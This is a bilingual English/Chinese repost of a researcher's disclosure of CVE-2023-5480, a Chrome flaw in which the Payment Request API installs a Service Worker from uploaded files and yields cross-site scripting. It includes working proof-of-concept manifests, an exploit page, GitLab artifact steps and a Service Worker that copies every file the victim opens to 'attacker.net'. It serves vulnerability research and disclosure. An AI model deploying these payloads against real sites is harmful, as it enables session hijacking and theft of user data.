Chrome XSS Chrome XSS的
The article is informative and intended for security specialists conducting testing within the scope of a contract. The author is not responsible for any damage caused by the application of the provided information. The distribution of malicious programs, disruption of system operation, and violation of the confidentiality of correspondence are pursued by law.
本文内容丰富,适用于在合同范围内进行测试的安全专家。作者不对因应用所提供信息而造成的任何损害负责。恶意程序的分发、系统运行中断和违反通信机密性将受到法律追究。
Preface 前言
This article is dedicated to a vulnerability that I managed to discover in the Google Chrome browser at the end of last year, and it also recounts the story of its origin. The vulnerability persisted for an extended period and was addressed on October 31, 2023.
本文专门介绍我去年年底在 Google Chrome 浏览器中发现的一个漏洞,它还讲述了它的起源故事。该漏洞持续了很长时间,并于 2023 年 10 月 31 日得到解决。
Google evaluated it at $16,000
谷歌评估价格为 16,000 美元
This article will begin by describing a series of modern technologies used in web development, which is necessary for a complete understanding of the context surrounding the identified vulnerability. In case your interest is solely focused on the minimal demonstration (PoC), it is recommended to proceed directly to the “Vulnerability” section.
本文将首先介绍 Web 开发中使用的一系列现代技术,这对于全面了解所识别漏洞的上下文是必要的。如果您的兴趣只集中在最小演示 (PoC) 上,建议您直接进入“漏洞”部分。
Service Worker
I’ll start by discussing one of my favorite technologies – Service Worker. This tool serves as a kind of proxy between your browser and the network, providing the ability to have full control over all outgoing requests from your website (and to it) on the internet, as well as managing caching.
我将首先讨论我最喜欢的技术之一 – Service Worker。该工具充当您的浏览器和网络之间的一种代理,提供完全控制来自您的网站(及其)在互联网上的所有传出请求以及管理缓存的能力。
Typical workflow is as follows:
典型工作流程如下:
-
From the page of our website, we register the service worker:
从我们网站的页面,我们注册服务工作者:script.js 脚本 .js
if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/service-worker.js') .then(function(registration) { console.log('Service Worker registration successful with scope: ', registration.scope); }) .catch(function(error) { console.log('Service Worker registration failed: ', error); }); }
-
Simple Service Worker example:
Simple Service Worker 示例:self.addEventListener('fetch', function(event) { event.respondWith(function_that_returnedResponse());
}); Therefore, with every request to our website, whether it’s a request for an image or a fetch request from JavaScript, it will be routed through the Service Worker. The result of the request will be returned using the pre-registered handler.
});因此,对于我们网站的每个请求,无论是对图像的请求还是来自 JavaScript 的 fetch 请求,都将通过 Service Worker 进行路由。请求的结果将使用预注册的处理程序返回。
This is indeed a powerful tool in web development (for curiosity, you can visit chrome://inspect/#service-workers
and see many Service Workers currently in use in your browser).
这确实是 Web 开发中的一个强大工具(出于好奇,您可以访问 chrome://inspect/#service-workers
并查看浏览器中当前正在使用的许多 Service Worker)。
However, along with its effectiveness, this technology also introduces a set of challenges. Many architectural decisions in web applications (and even in browsers) are sometimes made without considering this technology, leading to the emergence of vulnerabilities.
然而,除了其有效性外,这项技术也带来了一系列挑战。Web 应用程序(甚至在浏览器中)中的许多架构决策有时是在不考虑此技术的情况下做出的,从而导致漏洞的出现。
PWN PWA PWN PWA(普瓦恩 PWA)
A Progressive Web Application (PWA) is a technology that allows emulating the installation of a website on a user’s device. Its creation aimed to simplify the tasks of developers by providing the ability to bypass the need for developing native applications when possible.
渐进式 Web 应用程序 (PWA) 是一种允许模拟在用户设备上安装网站的技术。它的创建旨在通过提供在可能的情况下绕过开发本机应用程序的需求的能力来简化开发人员的任务。
PWAs are closely related to the concept of Service Worker, offering the possibility to implement functionality for so-called “offline modes.” This enables users to maintain the functionality of the website even when not connected to the internet.
PWA 与 Service Worker 的概念密切相关,它提供了实现所谓“脱机模式”功能的可能性。这使用户即使在未连接到互联网时也能保持网站的功能。
To register a PWA, the Web App Manifest standard was developed. In short, it is a specific JSON file, and a basic structure is outlined below:
为了注册 PWA,开发了 Web 应用清单标准。简而言之,它是一个特定的 JSON 文件,基本结构概述如下:
{
"short_name": "My App",
"name": "My App",
"icons": [{
"src": "https://www.myapp.example/icon.svg"
}],
"start_url": ".",
"display": "standalone",
"background_color": "#fff",
"description": "Slonser example",
}
This file contains the essential data for the application. Upon the initial visit to a PWA, the page utilizes a script similar to the one shown in the previous section to load the Service Worker.
此文件包含应用程序的基本数据。初次访问 PWA 时,该页面会使用类似于上一节中所示的脚本来加载 Service Worker。
Payments 付款
If you read specs than you will see:
如果你阅读规格,你会看到:
This specification describes an API that allows user agents (e.g., browsers) to act as an intermediary between three parties in a transaction:
The payee: the merchant that runs an online store, or other party that requests to be paid.
The payer: the party that makes a purchase at that online store, and who authenticates and authorizes payment as required.
The payment method: the means that the payer uses to pay the payee (e.g., a card payment or credit transfer). The payment method provider establishes the ecosystem to support that payment method.
From the information provided above, you might not have understood much, so let me illustrate with an example:
从上面提供的信息来看,您可能了解不多,因此让我举个例子来说明:
This also works in the desktop version of Chromium-based browsers:
这也适用于基于 Chromium 的浏览器的桌面版本:
What happens here is: 这里发生的事情是:
- The user visits a site that presents them with a bill.
用户访问向他们显示帐单的网站。 - The site, using the Payments Request API, contacts an external resource.
该网站使用 Payments Request API 联系外部资源。 - The user sees a popup window with the external resource.
用户将看到一个包含外部资源的弹出窗口。 - This resource processes the user’s payment and returns the information about the transaction to the original resource.
此资源处理用户的付款,并将有关交易的信息返回给原始资源。
In code, it looks something like this:
在代码中,它看起来像这样:
function buildSupportedPaymentMethodData() {
// Example supported payment methods:
return [{ supportedMethods: "https://example.com/pay" }];
}
function buildShoppingCartDetails() {
// Hardcoded for demo purposes:
return {
id: "order-123",
displayItems: [
{
label: "Example item",
amount: { currency: "USD", value: "1.00" },
},
],
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
},
};
}
new PaymentRequest(buildSupportedPaymentMethodData(), {
total: { label: "Stub", amount: { currency: "USD", value: "0.01" } },
})
.canMakePayment()
.then((result) => {
if (result) {
// Real payment request
const request = new PaymentRequest(
buildSupportedPaymentMethodData(),
checkoutObject,
);
request.show().then((paymentResponse) => {
// Here we would process the payment.
paymentResponse.complete("success").then(() => {
// Finish handling payment
});
});
}
});
So, from the client side, we:
因此,从客户端来看,我们:
- Create a PaymentRequest object.
创建一个 PaymentRequest 对象。 - Pass the payment handler’s URL and purchase details to it.
将付款处理程序的 URL 和购买详细信息传递给它。 - Call the show method and handle the Promise with the result/error.
调用 show 方法并处理带有结果/错误的 Promise。
Now, what should the payment handler do?
现在,支付处理程序应该怎么做?
-
Along the provided link, it should return the Link header.
沿着提供的链接,它应该返回 Link 标头。Link: <https://bobbucks.dev/pay/payment-manifest.json>; rel="payment-method-manifest"
It’s worth noting that according to RFC5988, rel=“payment-method-manifest” is not present. It will only be processed in Payments API requests, and its parsing is isolated from the main implementation.
值得注意的是,根据RFC5988,rel=“payment-method-manifest” 不存在。它只会在 Payments API 请求中处理,并且其解析与主实现隔离。 -
The client will follow the link provided earlier and interpret its content as a Payment Manifest, for instance:
客户将点击前面提供的链接,并将其内容解释为付款清单,例如:{ "default_applications": ["https://alicepay.com/pay/app/webappmanifest.json"], "supported_origins": [ "https://bobpay.xyz", "https://alicepay.friendsofalice.example" ] }
Here, default_applications points to the Web App Manifest that will be installed, and supported_origins indicates the supported domains accordingly.
此处,default_applications指向将要安装的 Web 应用清单,supported_origins相应地指示支持的域。
JIT
As mentioned earlier, the Payment App should utilize the Web App Manifest, initially created for simple PWAs.
如前所述,支付应用应利用最初为简单 PWA 创建的 Web 应用清单。
However, web standards developers faced the challenge of establishing communication between the website and the payment application. A controversial decision was made to leverage Service Worker for this purpose. To achieve this, new event handlers were added to the existing concept of workers:
然而,Web 标准开发人员面临着在网站和支付应用程序之间建立通信的挑战。为此,我们做出了一个有争议的决定,即利用 Service Worker。为了实现这一点,在现有的工作线程概念中添加了新的事件处理程序:
self.addEventListener('paymentrequest', async e => {
//...
});
However, a question arises here: during the initial invocation, the Payment App does not contain a Service Worker (as it is registered only after the first page load), which disrupts the logic.
但是,这里出现了一个问题:在初始调用期间,Payment App 不包含 Service Worker(因为它仅在第一个页面加载后注册),这会破坏逻辑。
This problem was addressed through another controversial decision – the introduction of Just-In-Time (JIT)-installed workers. For this, the Web App Manifest specification was extended. Now, if it is used for a Payments App, it must include the “serviceworker” field with the specified worker for registration:
这个问题通过另一个有争议的决定得到解决 – 引入即时 (JIT) 安装的工人。为此,扩展了 Web 应用清单规范。现在,如果它用于支付应用,则必须包含“serviceworker”字段和指定的辅助角色进行注册:
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
}
Therefore, it will download and install the Service Worker at the specified path before launching the Payment App.
因此,在启动支付应用程序之前,它将在指定路径下载并安装 Service Worker。
When did the vulnerability appear?
漏洞是什么时候出现的?
Payment Request was implemented in Chromium in April 2018. Initially, it was not possible to exploit the vulnerability that will be described later.
付款请求于 2018 年 4 月在 Chromium 中实现。最初,无法利用稍后将介绍的漏洞。
Reading the source code of Chromium, I came across the fact that the manifest request was actually implemented like this at that time:
在阅读 Chromium 的源代码时,我发现 manifest 请求当时实际上是这样实现的:
headers->GetNormalizedHeader("link", &link_header);
if (link_header.empty()) {
// Fallback to HTTP GET when HTTP HEAD response does not contain a Link
// header.
FallbackToDownloadingResponseBody(final_url, std::move(download));
return;
}
So, the logic of the request followed this algorithm:
- First, it checks the Link header using rel=“pay-method-manifest”.
- If it is present, we load this content, replacing the specified URL.
- Otherwise, we simply use the content of the specified URL.
Indeed, a brief investigation revealed that on December 18, 2019, an issue with the Payment Request implementation was submitted to Chromium:
the spec (https://w3c.github.io/payment-method-manifest/#accessing) requires that besides looking for the “Link”, the direct access over URL is also allowed – “The machine-readable payment method manifest might be found either directly at the payment method identifier URL….”.
规范 ( https://w3c.github.io/payment-method-manifest/#accessing) 要求除了查找“链接”外,还允许通过 URL 直接访问 – “机器可读的支付方式清单可以直接在支付方式标识符 URL 中找到……”。
In other words, the person pointed out that according to standards, we can transmit the payment-manifest both through a link and through the Link Header simultaneously.
换句话说,该人士指出,根据标准,我们可以通过链接和链接标头同时传输付款清单。
The Chromium security team was involved in this ticket, approving the changes, and after a year, in March 2020, the fix became available in the stable branch of Chrome/Chromium.
Chromium 安全团队参与了此工单,批准了这些更改,一年后,即 2020 年 3 月,该修复程序在 Chrome/Chromium 的稳定分支中可用。
Vulnerability 脆弱性
The vulnerability became possible due to the change described in the previous point.
由于上一点中描述的更改,该漏洞成为可能。
In fact, we have a unique situation where the vulnerability arises only when strictly adhering to web standards. This is because an important aspect was not taken into account during its development.
事实上,我们有一个独特的情况,只有在严格遵守 Web 标准时才会出现漏洞。这是因为在其开发过程中没有考虑到一个重要方面。
Many websites implement functionality for downloading user files, i.e., we have functionality like:
许多网站都实现了下载用户文件的功能,即,我们具有以下功能:
https://example.com/download?file=filename
https://example.com/download/filename
...
Such functionality should not pose direct security risks, because the Header is set:
此类功能不应造成直接的安全风险,因为标头已设置:
Content-Disposition: attachment
Thus, the transmitted file will be loaded directly, preventing the possibility of XSS class attacks. This is because it is impossible to deliver an HTML code file to the user for rendering.
因此,传输的文件将被直接加载,防止了XSS类攻击的可能性。这是因为无法将 HTML 代码文件交付给用户进行渲染。
Considering that the Payments API started considering the file from the request body, let’s just upload files to the target resource: payment-manifest:
考虑到 Payments API 已开始考虑请求正文中的文件,让我们将文件上传到目标资源:payment-manifest:
{
"default_applications": ["https://example.com/download/manifest.js"],
"supported_origins": ["https://attacker.net"]
}
manifest.js:
{
"name": "PWNED",
"short_name": "PWNED",
"icons": [{
"src": "/download/logo.jpg",
"sizes": "49x49",
"type": "image/jpeg"
}],
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
},
"start_url":"/download/index.html"
}
logo.jpg: 徽标.jpg:
* JPEG *
At first glance, it may seem not too useful, as why would we process responses coming from Payments. But here, it’s worth recalling how the communication between our site and the Payment App is implemented – through Service Workers.
乍一看,这似乎不太有用,因为我们为什么要处理来自付款的回复。但在这里,值得回顾一下我们的网站和支付应用程序之间的通信是如何实现的 – 通过Service Workers。
We can specify a Service Worker in Payments, as I mentioned earlier, it’s just a regular Service Worker, with additional events provided for it. Therefore, nothing prevents us from using the standard capabilities of the Service Worker.
我们可以在 Payments 中指定一个 Service Worker,正如我之前提到的,它只是一个普通的 Service Worker,并为它提供了额外的事件。因此,没有什么能阻止我们使用 Service Worker 的标准功能。
sw.slonser.js
self.addEventListener("fetch", (event) => {
console.log(`Handling fetch event for ${event.request.url}`);
let blob = new Blob(["<script>alert('pwned by Slonser')</script>"],{type:"text/html"});
event.respondWith(new Response(blob));
});
This script intercepts all network requests and responds with HTML:
此脚本拦截所有网络请求并使用 HTML 进行响应:
<script>alert('pwned by Slonser')</script>
After this, the attacker just needs to redirect the victim to their domain, where the following code is hosted:
在此之后,攻击者只需将受害者重定向到其域,其中托管了以下代码:
attack.html 攻击:.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vsevolod Kokorin (Slonser) of Solidlab</title>
</head>
<body>
<button onclick="exploit()">EXPLOIT</button>
<script>
function exploit(){
const BASE = "https://example.com/download" // PATH TO DOWNLOAD SCOPE
const fileName = 'payment-manifest.js' // Name of payment manifest
const request = new PaymentRequest(
[{ supportedMethods: `${BASE}/${fileName}` }],
{
id: "order-123",
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
}
}
);
request.show().then((paymentResponse) => {
paymentResponse.complete("success").then(() => {
});
}).catch((e) => {
document.location = `${BASE}/C4T BuT S4D`;
});
}
</script>
</body>
</html>
Upon the completion of the execution of this script, the victim will be redirected to the target domain, where the registered Service Worker will intercept the request (because after JIT installation, they don’t get uninstalled). Consequently, we obtain XSS on the specified domain.
完成此脚本的执行后,受害者将被重定向到目标域,注册的 Service Worker 将在其中拦截请求(因为在安装 JIT 后,它们不会被卸载)。因此,我们在指定的域上获得 XSS。
The video I submitted to Google (where I achieved XSS on a ngrok subdomain through my page on Yandex S3):
我提交给 Google 的视频(我通过我在 Yandex S3 上的页面在 ngrok 子域上实现了 XSS):
Example of a real attack
真实攻击的示例
During a brief investigation, I immediately discovered instances of this attack being exploited on many popular resources. I won’t specify them due to ethical considerations (as millions of users have not yet updated their Chrome-based browsers). However, I found a good example to demonstrate this attack and its limitations – Gitlab. Currently, it is impossible to reproduce the attack on the latest version of the service, but it was exploitable a year ago.
在一次简短的调查中,我立即发现了这种攻击在许多流行资源上被利用的实例。出于道德考虑,我不会指定它们(因为数百万用户尚未更新他们基于 Chrome 的浏览器)。但是,我找到了一个很好的例子来演示这种攻击及其局限性 – Gitlab。目前,不可能在最新版本的服务上重现攻击,但它在一年前就被利用了。
As an example, I will demonstrate the exploitation of XSS using this bug on Gitlab from a year ago:
-
Create a GitLab repository with CI/CD runners (or use an existing one).
-
Add your CI configuration to it, which creates an artifact with the necessary files
In it, I download an archive from the resource under my control and unpack the data.
-
Verify that the data has indeed become accessible on the artifact page.
-
Now the data files can be downloaded directly using links like:
https://5604-185-219-81-55.ngrok-free.app/root/test/-/jobs/13/artifacts/raw/payment-manifest.js
Where
test
is the repository identifier, and13
is the artifact number -
Insert this link into the exploit page provided in the previous section and place it on the resource under our control.
-
We obtain the execution of our JavaScript code on the domain with our GitLab.
我们使用 GitLab 获取域上 JavaScript 代码的执行。
Currently, this doesn’t work because GitLab returns artifacts with Content-Type: text/plain
, because Content-Type: text/javascript
leading to a bypass of the CSP rule script-src: self
. The registration of the Service Worker checks the Content-Type for valid JS Mime-Type.
目前,这不起作用,因为 GitLab 返回带有 Content-Type: text/plain
的工件,因为 Content-Type: text/javascript
导致绕过 CSP 规则 script-src: self
。Service Worker 的注册会检查 Content-Type 中是否有有效的 JS MIME-Type。
Therefore, any resource that implements file upload/download functionality without rewriting the regular Mime-Type of the file is vulnerable.
因此,任何在不重写文件的常规 MIME 类型的情况下实现文件上传/下载功能的资源都容易受到攻击。
S3 buckets S3 存储桶
Another good example is S3 buckets.
另一个很好的例子是 S3 存储桶。
Amazon S3 (Simple Storage Service) is a cloud storage service provided by Amazon Web Services (AWS). S3 buckets are containers for storing files or data objects within Amazon S3.
Amazon S3 (Simple Storage Service) 是由 Amazon Web Services (AWS) 提供的云存储服务。S3 存储桶是用于在 Amazon S3 中存储文件或数据对象的容器。
By default, S3 buckets expose the Mime-Type based on the file extension during download. In general, Register a service worker on a domain with an S3 bucket:
默认情况下,S3 存储桶会在下载期间根据文件扩展名公开 Mime-Type。通常,使用 S3 存储桶在域上注册 Service Worker:
async function handleRequest(event) {
const attacker_url = "https://attacker.net?e=";
let response = await fetch(event.request.url)
let response_copy = response.clone();
let sniffed_data = {url: event.request.url, data: await response.text()}
fetch(
attacker_url,
{
body: JSON.stringify(sniffed_data),
mode: 'no-cors',
method: 'POST'
}
)
return new Response(await response_copy.blob(),{status:200})
}
self.addEventListener("fetch",async (event) => {
event.respondWith(handleRequest(event));
});
This Service Worker will duplicate all files opened by the user to the attacker’s server.
此 Service Worker 会将用户打开的所有文件复制到攻击者的服务器。
Communicating with Google
与 Google 沟通
Many people will be interested in the chronology of my communication with Google, therefore:
许多人会对我与谷歌沟通的时间顺序感兴趣,因此:
- October 13, 2023, I discovered this flaw
2023 年 10 月 13 日,我发现了这个缺陷 - October 14, 2023 (Saturday), I sent a message describing a flaw in Chrome VRP
2023年10月14日(星期六),我发送了一条消息,描述了Chrome VRP中的一个缺陷 - On October 17, 2023, Google employees began investigations related to the problem
2023 年 10 月 17 日,谷歌员工开始调查与该问题相关的问题 - On October 18, the problem was completely resolved, the flaw was assigned a danger level of High
10 月 18 日,问题完全解决,该漏洞被指定为“高”危险级别 - A patch was released on October 19
10 月 19 日发布了一个补丁 - On October 26, Google valued my discovery at $16,000 ($15,000 for the vulnerability itself and $1,000 for identifying the version in which the vulnerability appeared)
10 月 26 日,Google 对我的发现进行了 16,000 美元的估价(漏洞本身为 15,000 美元,识别漏洞出现的版本为 1,000 美元) - On October 31, Chrome 119 was released, in which the flaw was fixed. It was assigned the ID CVE-2023-5480
10 月 31 日,Chrome 119 发布,其中修复了该缺陷。它被分配了 ID CVE-2023-5480
I think that the Chromium security people acted very quickly. They also gave me fair compensation. Thanks to them for this.
我认为 Chromium 安全人员的行动非常迅速。他们也给了我公平的补偿。感谢他们。
Results 结果
Several conclusions can be drawn from this story:
从这个故事中可以得出几个结论:
- Even at the level of web standards, errors can exist
即使在 Web 标准级别,也可能存在错误 - Modern browsers implement many experimental/unpopular Web APIs
现代浏览器实现了许多实验性/不受欢迎的 Web API - Open Source doesn’t help. This flaw was in the public domain for 3 years, but they could not fix it. At the same time, it is quite simple to use (Unlike other bugs in Chromium, which are often binary)
开源无济于事。这个缺陷在公共领域已经存在了 3 年,但他们无法修复它。同时,它使用起来非常简单(不像 Chromium 中的其他错误,通常是二进制的) - The vulnerability would not have arisen if the developers had not added new functionality to ready-made concepts.
如果开发人员没有在现成的概念中添加新功能,则不会出现该漏洞。
原文始发于Slonser Notes:CVE-2023-5480: Chrome new XSS Vector